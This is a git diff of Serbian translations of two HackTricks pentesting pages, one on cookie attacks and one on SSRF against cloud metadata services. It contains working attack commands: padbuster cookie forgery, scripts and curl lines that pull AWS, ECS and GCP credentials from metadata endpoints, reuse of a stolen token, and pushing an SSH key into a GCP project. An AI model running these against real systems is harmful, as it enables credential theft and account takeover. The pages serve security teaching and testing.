* Ovo može biti zaobiđeno sa **TRACE** **HTTP** zahtevima jer će odgovor sa servera (ako je ovaj HTTP metod dostupan) odražavati poslate kolačiće. Ova tehnika se naziva **Cross-Site Tracking**.
* Ova tehnika se izbegava od strane **modernih pregledača ne dozvoljavajući slanje TRACE** zahteva iz JS-a. Međutim, neki načini zaobiđenja ove zabrane su pronađeni u specifičnim softverima poput slanja `\r\nTRACE` umesto `TRACE` ka IE6.0 SP2.
* Ova tehnika se izbegava od strane **modernih pregledača ne dozvoljavajući slanje TRACE** zahteva iz JS-a. Međutim, neki načini zaobiđanja ove zabrane su pronađeni u specifičnim softverima poput slanja `\r\nTRACE` umesto `TRACE` ka IE6.0 SP2.
* Drugi način je iskorišćavanje zero/day ranjivosti pregledača.
* Moguće je **prepisati HttpOnly kolačiće** izvođenjem napada prelivanja Cookie Jar-a:
@ -94,7 +94,7 @@ Ovo sprečava **klijenta** da pristupi kolačiću (Na primer putem **Javascript-
Zahtev će **samo** poslati kolačić u HTTP zahtevu samo ako je zahtev prenet preko sigurnog kanala (tipično **HTTPS**).
## Prefiksi kolačića
## Prefiksi Kolačića
Kolačići sa prefiksom `__Secure-` moraju biti postavljeni zajedno sa zastavicom `secure` na stranicama koje su obezbeđene HTTPS-om.
@ -108,11 +108,11 @@ Za kolačiće sa prefiksom `__Host-`, moraju se ispuniti nekoliko uslova:
Važno je napomenuti da kolačići sa prefiksom `__Host-` nisu dozvoljeni da se šalju superdomenima ili poddomenima. Ova zabrana pomaže u izolovanju aplikacionih kolačića. Stoga, korišćenje prefiksa `__Host-` za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
### Prepisivanje kolačića
Dakle, jedna od zaštita `__Host-` prefiksnih kolačića je sprečavanje prepisivanja sa poddomena. Na primer, sprečavanje [**napada bacanja kolačića**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Otkrivanje ranjivosti integriteta sesije na vebu**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**rad**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) prikazano je da je bilo moguće postaviti `__HOST-` prefiksne kolačiće sa poddomena, prevareći parser, na primer, dodavanjem "=" na početku ili na početku i na kraju...:
Dakle, jedna od zaštita `__Host-` prefiksnih kolačića je sprečavanje prepisivanja sa poddomena. Na primer, sprečavanje [**Cookie Tossing napada**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Otkrivanje ranjivosti integriteta sesije na vebu**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**rad**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) prikazano je da je bilo moguće postaviti `__HOST-` prefiksne kolačiće sa poddomena, prevareći parser, na primer, dodavanjem "=" na početku ili na početku i na kraju...:
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Ili u PHP-u bilo je moguće dodati **druge znakove na početku** imena kolačića koji će biti **zamenjeni donjom crtom** znakovima, omogućavajući prepisivanje `__HOST-` kolačića:
Ili u PHP-u je bilo moguće dodati **druge znakove na početku** imena kolačića koji će biti **zamenjeni donjom crtom** znakovima, omogućavajući prepisivanje `__HOST-` kolačića:
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure>
@ -122,7 +122,7 @@ Ako prilagođeni kolačić sadrži osetljive podatke, proverite ga (posebno ako
### Dekodiranje i Manipulacija Kolačićima
Osetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo pregledani. Kolačići kodirani u Base64 ili sličnim formatima često mogu biti dekodirani. Ova ranjivost omogućava napadačima da promene sadržaj kolačića i predstavljaju se kao drugi korisnici kodiranje njihovih izmenjenih podataka nazad u kolačić.
Osetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo pregledani. Kolačići kodirani u Base64 ili sličnim formatima često mogu biti dekodirani. Ova ranjivost omogućava napadačima da promene sadržaj kolačića i predstavljaju se kao drugi korisnici enkodirajući svoje izmenjene podatke nazad u kolačić.
### Hakovanje Sesije
@ -130,7 +130,7 @@ Ovaj napad uključuje krađu korisnikovog kolačića kako bi se stekao neovlaš
### Fiksacija Sesije
U ovom scenariju, napadač vara žrtvu da koristi određeni kolačić za prijavljivanje. Ako aplikacija ne dodeli novi kolačić prilikom prijavljivanja, napadač, koji poseduje originalni kolačić, može da se predstavi kao žrtva. Ova tehnika se oslanja na to da žrtva prijavljivanje vrši sa kolačićem koji je obezbedio napadač.
U ovom scenariju, napadač vara žrtvu da koristi određeni kolačić za prijavljivanje. Ako aplikacija ne dodeli novi kolačić prilikom prijavljivanja, napadač, koji poseduje originalni kolačić, može da se predstavi kao žrtva. Ova tehnika se oslanja na to da žrtva prijavljivanje vrši sa kolačićem koji je dostavio napadač.
Ako pronađete **XSS u poddomenu** ili **kontrolišete poddomen**, pročitajte:
@ -140,7 +140,7 @@ Ako pronađete **XSS u poddomenu** ili **kontrolišete poddomen**, pročitajte:
### Donacija Sesije
Ovde, napadač ubedi žrtvu da koristi sesijski kolačić napadača. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršiti radnje u kontekstu naloga napadača.
Ovde, napadač ubedi žrtvu da koristi sesijski kolačić napadača. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će obavljati radnje u kontekstu naloga napadača.
Ako pronađete **XSS u poddomenu** ili **kontrolišete poddomen**, pročitajte:
@ -160,13 +160,13 @@ Ovaj napad prisiljava prijavljenog korisnika da izvrši neželjene radnje na veb
### Prazni Kolačići
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Preglednici dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScript-a kako sledi:
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Pretraživači dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScript-a kako sledi:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Rezultat u poslatom zaglavlju kolačića je `a=v1; test vrednost; b=v2;`. Zanimljivo je to što ovo omogućava manipulaciju kolačićima ako se postavi prazan kolačić sa imenom, potencijalno kontrolišući druge kolačiće postavljanjem praznog kolačića na određenu vrednost:
Rezultat u poslatom zaglavlju kolačića je `a=v1; test vrednost; b=v2;`. Zanimljivo je to što ovo omogućava manipulaciju kolačićima ako je postavljen prazan kolačić imena, potencijalno kontrolišući druge kolačiće postavljanjem praznog kolačića na određenu vrednost:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -184,41 +184,41 @@ document.cookie = "\ud800=meep";
```
Ovo rezultira time da `document.cookie` ispiše prazan string, što ukazuje na trajnu korupciju.
#### Kukija krijumčarenje zbog problema sa parsiranjem
#### Prenošenje kolačića zbog problema sa parsiranjem
(Proverite detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Neki web serveri, uključujući one iz Java (Jetty, TomCat, Undertow) i Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), nepravilno rukuju sa kukija stringovima zbog zastarele podrške za RFC2965. Oni čitaju kukija vrednost u dvostrukim navodnicima kao jednu vrednost čak i ako sadrži tačkazareze, koje bi normalno trebalo da razdvajaju parove ključ-vrednost:
(Proverite detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Neki web serveri, uključujući one iz Java (Jetty, TomCat, Undertow) i Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), nepravilno rukuju sa kolačićima zbog zastarele podrške za RFC2965. Oni čitaju vrednost kolačića u dvostrukim navodnicima kao jednu vrednost čak i ako sadrži tačke-zareze, koji bi normalno trebalo da razdvajaju parove ključ-vrednost:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Vulnerabilnosti ubacivanja kolačića
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow-a, Zope-a, i onih koji koriste Python-ove `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara mogućnosti za napade ubacivanjem kolačića. Ovi serveri ne uspevaju pravilno da ograniče početak novih kolačića, omogućavajući napadačima da falsifikuju kolačiće:
(Proverite detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow-a, Zope-a, i onih koji koriste Python-ove `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara mogućnosti za napade ubacivanjem kolačića. Ovi serveri ne uspevaju pravilno da ograniče početak novih kolačića, omogućavajući napadačima da falsifikuju kolačiće:
- Undertow očekuje novi kolačić odmah nakon navodne vrednosti bez tačke-zareza.
- Zope traži zarez da bi počeo parsiranje sledećeg kolačića.
- Python-ove klase kolačića počinju parsiranje na znaku razmaka.
Ova ranjivost je posebno opasna u veb aplikacijama koje se oslanjaju na CSRF zaštitu zasnovanu na kolačićima, jer omogućava napadačima da ubace lažne CSRF-token kolačiće, potencijalno zaobilazeći sigurnosne mere. Problem se pogoršava Python-ovim rukovanjem duplikatima imena kolačića, gde poslednje pojavljivanje zamenjuje prethodne. Takođe postavlja pitanja za `__Secure-` i `__Host-` kolačiće u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se kolačići prosleđuju serverima na pozadini koji su podložni falsifikovanju.
Ova ranjivost je posebno opasna u veb aplikacijama koje se oslanjaju na zaštitu od CSRF-a zasnovanu na kolačićima, jer omogućava napadačima da ubace lažne CSRF-token kolačiće, potencijalno zaobilazeći sigurnosne mere. Problem se pogoršava Python-ovim rukovanjem duplikatima imena kolačića, gde poslednje pojavljivanje zamenjuje prethodne. Takođe postavlja pitanja za `__Secure-` i `__Host-` kolačiće u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se kolačići prosleđuju serverskim aplikacijama koje su podložne falsifikovanju.
### Dodatne provere ranjivih kolačića
### Dodatne provere ranjivosti kolačića
#### **Osnovne provere**
- **Kolačić** je **isti** svaki put kada se **prijavite**.
- Odjavite se i pokušajte koristiti isti kolačić.
- Pokušajte se prijaviti sa 2 uređaja (ili pregledača) na isti nalog koristeći isti kolačić.
- Proverite da li kolačić sadrži neke informacije i pokušajte ih izmeniti.
- Pokušajte kreirati nekoliko naloga sa gotovo istim korisničkim imenima i proverite da li možete primetiti sličnosti.
- **Kolačić** je **uvek isti** svaki put kada se **prijavite**.
- Odjavite se i pokušajte da koristite isti kolačić.
- Pokušajte da se prijavite sa 2 uređaja (ili pregledača) na isti nalog koristeći isti kolačić.
- Proverite da li kolačić sadrži neke informacije i pokušajte da ih izmenite.
- Pokušajte da kreirate nekoliko naloga sa gotovo istim korisničkim imenima i proverite da li možete primetiti sličnosti.
- Proverite da li postoji opcija "**zapamti me**" da biste videli kako funkcioniše. Ako postoji i može biti ranjiva, uvek koristite kolačić od **zapamti me** bez bilo kog drugog kolačića.
- Proverite da li prethodni kolačić radi čak i nakon što promenite lozinku.
#### **Napadi naprednih kolačića**
Ako kolačić ostaje isti (ili skoro isti) kada se prijavite, to verovatno znači da je kolačić povezan sa nekim poljem vašeg naloga (verovatno korisničkim imenom). Tada možete:
Ako kolačić ostaje isti (ili gotovo isti) kada se prijavite, to verovatno znači da je kolačić povezan sa nekim poljem vašeg naloga (verovatno korisničkim imenom). Tada možete:
- Pokušajte kreirati mnogo **naloga** sa veoma **sličnim** korisničkim imenima i pokušajte **pogoditi** kako algoritam funkcioniše.
- Pokušajte **bruteforce** korisničko ime. Ako kolačić čuva samo kao metod autentifikacije za vaše korisničko ime, možete kreirati nalog sa korisničkim imenom "**Bmin**" i **bruteforce** svaki pojedinačni **bit** vašeg kolačića jer će jedan od kolačića koje ćete probati biti onaj koji pripada "**admin**".
- Pokušajte **Padding** **Oracle** (možete dešifrovati sadržaj kolačića). Koristite **padbuster**.
- Pokušajte da kreirate mnogo **naloga** sa veoma **sličnim** korisničkim imenima i pokušajte da **pogodite** kako algoritam funkcioniše.
- Pokušajte da **bruteforce-ujete korisničko ime**. Ako kolačić čuva samo kao metod autentifikacije za vaše korisničko ime, možete kreirati nalog sa korisničkim imenom "**Bmin**" i **bruteforce-ovati** svaki **bit** vašeg kolačića jer će jedan od kolačića koje ćete probati biti onaj koji pripada "**admin**".
- Pokušajte **Padding Oracle** (možete dešifrovati sadržaj kolačića). Koristite **padbuster**.
**Padding Oracle - Primeri Padbuster-a**
```bash
@ -238,7 +238,7 @@ Ako je napad uspešno izvršen, možete pokušati da šifrujete niz po vašem iz
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Ova izvršna datoteka će vam dati kolačić ispravno šifrovan i enkodiran sa stringom **user=administrator** unutar.
Ova izvršenje će vam dati kolačić ispravno šifrovan i enkodiran sa stringom **user=administrator** unutar.
**CBC-MAC**
@ -253,7 +253,7 @@ Možda bi kolačić mogao imati neku vrednost i biti potpisan korišćenjem CBC.
**ECB**
Ako je kolačić šifrovan korišćenjem ECB, može biti ranjiv.\
Kada se prijavite, kolačić koji dobijete uvek mora biti isti.
Kada se prijavite, kolačić koji dobijete mora uvek biti isti.
**Kako otkriti i napasti:**
@ -261,7 +261,7 @@ Napravite 2 korisnika sa skoro istim podacima (korisničko ime, lozinka, email,
Napravite korisnika nazvanog na primer "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u kolačiću (kako ECB šifruje sa istim ključem svaki blok, isti šifrovani bajtovi mogu se pojaviti ako je korisničko ime šifrovano).
Treba da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako su grupa "a" šifrovani, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Zatim, možete izbrisati šifrovan obrazac bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
Treba da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako su grupa "a" šifrovani, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Zatim, možete izbrisati šifrovani obrazac bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
## Reference
@ -270,7 +270,7 @@ Treba da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -280,10 +280,10 @@ Treba da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove podnošenjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijumima.
</details>

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,14 +26,14 @@ Drugi načini podrške HackTricks-u:
### Zloupotreba SSRF-a u AWS EC2 okruženju
**Metadata** endpoint može biti pristupačan sa bilo kog EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na url-u: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Metadata** endpoint može biti pristupačan sa bilo kog EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na URL-u: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Postoje **2 verzije** metadata endpointa. **Prva** verzija omogućava pristup endpointu putem **GET** zahteva (tako da ga bilo koji **SSRF može iskoristiti**). Za **verziju 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), morate zatražiti **token** slanjem **PUT** zahteva sa **HTTP zaglavljem** i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je **komplikovanije zloupotrebiti** sa SSRF-om).
{% hint style="danger" %}
Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor na PUT zahtev** će imati **limit preusmeravanja od 1**, što čini nemogućim pristup metapodacima EC2 iz kontejnera unutar EC2 instance.
Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor na PUT zahtev** će imati **limit skoka od 1**, što čini nemogućim pristup metapodacima EC2 iz kontejnera unutar EC2 instance.
Osim toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju zaglavlje `X-Forwarded-For`**. Ovo je kako bi se sprečilo da netačno konfigurisani obrnuti proxy serveri mogu pristupiti tome.
Osim toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju zaglavlje `X-Forwarded-For`**. Ovo je kako bi se sprečilo da loše konfigurisani obrnuti proxy serveri mogu pristupiti tome.
{% endhint %}
Možete pronaći informacije o [metadata endpointima u dokumentaciji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). U sledećem skriptu se dobijaju neke zanimljive informacije iz njega:
@ -96,22 +96,22 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Kao primer izloženih **javno dostupnih IAM akreditiva** možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Kao **javno dostupan primer izloženih IAM kredencijala** možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Takođe možete proveriti javne **EC2 bezbednosne akreditive** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Takođe možete proveriti javne **EC2 bezbednosne kredencijale** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Zatim možete **koristiti te akreditive sa AWS CLI**. To će vam omogućiti da radite **sve što ta uloga ima dozvolu da radi**.
Zatim možete **koristiti te kredencijale sa AWS CLI**. To će vam omogućiti da radite **sve što taj uloga ima dozvolu da radi**.
Da biste iskoristili nove akreditive, moraćete da kreirate novi AWS profil kao ovaj:
Da biste iskoristili nove kredencijale, moraćete da kreirate novi AWS profil kao ovaj:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Primetite **aws\_session\_token**, to je neophodno da bi profil radio.
Primetite **aws\_session\_token**, to je neophodno da profil funkcioniše.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim pristupnim podacima da biste saznali vaše privilegije i pokušali da eskalirate privilegije
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim pristupnim podacima kako bi se saznala vaša privilegija i pokušalo da se eskalira privilegija
### SSRF u AWS ECS (Container Service) pristupnim podacima
@ -124,7 +124,7 @@ Pomenuta http adresa trebalo bi da vam pruži **AccessKey, SecretKey i token**.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Imajte na umu da u **nekim slučajevima** možete pristupiti **EC2 metapodacima** iz kontejnera (proverite ograničenja IMDSv2 TTL navedena ranije). U ovim scenarijima iz kontejnera možete pristupiti i ulozi IAM kontejnera i ulozi EC2.
Imajte na umu da u **nekim slučajevima** možete pristupiti **EC2 metapodacima** iz kontejnera (proverite ograničenja TTL IMDSv2 navedena ranije). U ovim scenarijima iz kontejnera možete pristupiti i ulozi IAM kontejnera i ulozi EC2.
{% endhint %}
### SSRF za AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
@ -137,10 +137,10 @@ U ovom slučaju, **poverljivi podaci se čuvaju u env promenljivama**. Dakle, da
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Pored IAM podataka, Lambda funkcije takođe imaju **podatke događaja koji se prosleđuju funkciji prilikom pokretanja**. Ovi podaci su dostupni funkciji putem [interfejsa za izvršavanje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **poverljive informacije** (kao unutar **stageVariables**). Za razliku od IAM podataka, ovi podaci su dostupni putem standardnog SSRF-a na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Pored IAM akreditiva, Lambda funkcije takođe imaju **podatke događaja koji se prosleđuju funkciji prilikom pokretanja**. Ovi podaci su dostupni funkciji putem [interfejsa za izvršavanje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **poverljive informacije** (kao unutar **stageVariables**). Za razliku od IAM akreditiva, ovi podaci su dostupni putem standardnog SSRF-a na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Imajte na umu da su **Lambda poverljivi podaci** unutar **env promenljivih**. Dakle, ako **stek trag** koda lambda funkcije štampa env promenljive, moguće je **izvući ih izazivajući grešku** u aplikaciji.
Imajte na umu da su **akreditivi lambda funkcija** unutar **env promenljivih**. Dakle, ako **stek trag** koda lambda funkcije ispisuje env promenljive, moguće je **izvući ih izazivajući grešku** u aplikaciji.
{% endhint %}
### SSRF URL za AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
@ -150,7 +150,7 @@ Dobijamo `accountId` i `region` iz API-ja.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Zatim dobijamo `AccessKeyId`, `SecretAccessKey` i `Token` sa API-ja.
Zatim dobavljamo `AccessKeyId`, `SecretAccessKey` i `Token` sa API-ja.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
@ -164,7 +164,7 @@ Možete [**ovde pronaći dokumentaciju o krajnjim tačkama metapodataka**](https
### SSRF URL za Google Cloud <a href="#id-6440" id="id-6440"></a>
Potreban je HTTP zaglavlje **`Metadata-Flavor: Google`** i možete pristupiti krajnjoj tački metapodataka sa sledećim URL-ovima:
Zahteva HTTP zaglavlje **`Metadata-Flavor: Google`** i možete pristupiti krajnjoj tački metapodataka sa sledećim URL-ovima:
* http://169.254.169.254
* http://metadata.google.internal
@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
Da biste **koristili ukradeni token naloga za usluge**, jednostavno uradite sledeće:
Da biste **koristili ukradeni token servisnog naloga**, jednostavno uradite:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -269,9 +269,9 @@ gcloud config unset auth/access_token_file
```
{% endhint %}
### Dodavanje SSH ključa <a href="#id-3e24" id="id-3e24"></a>
### Dodaj SSH ključ <a href="#id-3e24" id="id-3e24"></a>
Izvucite token
Izvadi token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
@ -285,7 +285,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
"access_type": "offline"
}
```
Sada gurnite SSH ključ.
Sada pritisnite SSH ključ.
{% code overflow="wrap" %}
```bash
@ -294,8 +294,6 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
{% endcode %}
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
Metadata endpoint radi na isti način kao i kod virtuelnih mašina, ali bez nekih endpointa:
@ -466,10 +464,10 @@ At line:1 char:1
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
## IBM Oblaci <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
Imajte na umu da u IBM-u podrazumevano nije omogućen metapodaci, tako da je moguće da im nećete moći pristupiti čak i ako ste unutar IBM-ovog cloud VM-a.
Imajte na umu da u IBM-u podaci o metapodacima nisu podrazumevano omogućeni, pa je moguće da im nećete moći pristupiti čak i ako se nalazite unutar IBM-ovog virtuelnog servera.
{% endhint %}
{% code overflow="wrap" %}
@ -498,7 +496,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
```
{% endcode %}
Dokumentacija za različite platforme metadata servisa je detaljno opisana u nastavku, ističući metode putem kojih se može pristupiti konfiguracionim i informacijama o izvršavanju instanci. Svaka platforma nudi jedinstvene endpointe za pristup svojim metadata servisima.
Dokumentacija za različite platforme metadata servisa je detaljno opisana u nastavku, ističući metode putem kojih se može pristupiti konfiguraciji i informacijama o izvršavanju instanci. Svaka platforma nudi jedinstvene endpointe za pristup svojim metadata servisima.
## Packetcloud
